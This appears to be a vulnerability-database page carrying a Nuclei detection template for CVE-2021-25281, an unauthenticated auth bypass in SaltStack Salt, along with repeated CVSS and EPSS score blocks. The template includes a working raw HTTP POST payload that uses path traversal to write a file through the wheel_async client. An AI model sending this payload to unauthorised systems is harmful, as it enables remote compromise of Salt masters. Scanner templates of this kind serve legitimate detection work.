Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-25281
HistoryFeb 26, 2021 - 9:02 a.m.

SaltStack Salt <3002.5 - Auth Bypass

2021-02-2609:02:30
ProjectDiscovery
github.com
6

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.874 High

EPSS

Percentile

98.6%

SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.

id: CVE-2021-25281

info:
  name: SaltStack Salt <3002.5 - Auth Bypass
  author: madrobot
  severity: critical
  description: SaltStack Salt before 3002.5 does not honor eauth credentials for the wheel_async client, allowing attackers to remotely run any wheel modules on the master.
  remediation: |
    Upgrade to SaltStack Salt version 3002.5 or later to mitigate this vulnerability.
  reference:
    - http://hackdig.com/02/hack-283902.htm
    - https://dozer.nz/posts/saltapi-vulns
    - https://nvd.nist.gov/vuln/detail/CVE-2021-25281
    - https://github.com/saltstack/salt/releases
    - https://www.saltstack.com/blog/active-saltstack-cve-announced-2021-jan-21/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-25281
    cwe-id: CWE-287
    epss-score: 0.87406
    epss-percentile: 0.98556
    cpe: cpe:2.3:a:saltstack:salt:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: saltstack
    product: "salt"
  tags: cve,cve2021,saltapi,rce,saltstack,unauth

http:
  - raw:
      - |
        POST /run HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "return"
          - "tag"
          - "jid"
          - "salt"
          - "wheel"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022024b1fa47aa40900fc6d2780d4b058e73c105e0afea27957c4b13eaa9d832e518022100b564558f8322ff1be933b2018a3a2ec91219e0e1399b633b02e3d65ea0349af4:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.3 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.874 High

EPSS

Percentile

98.6%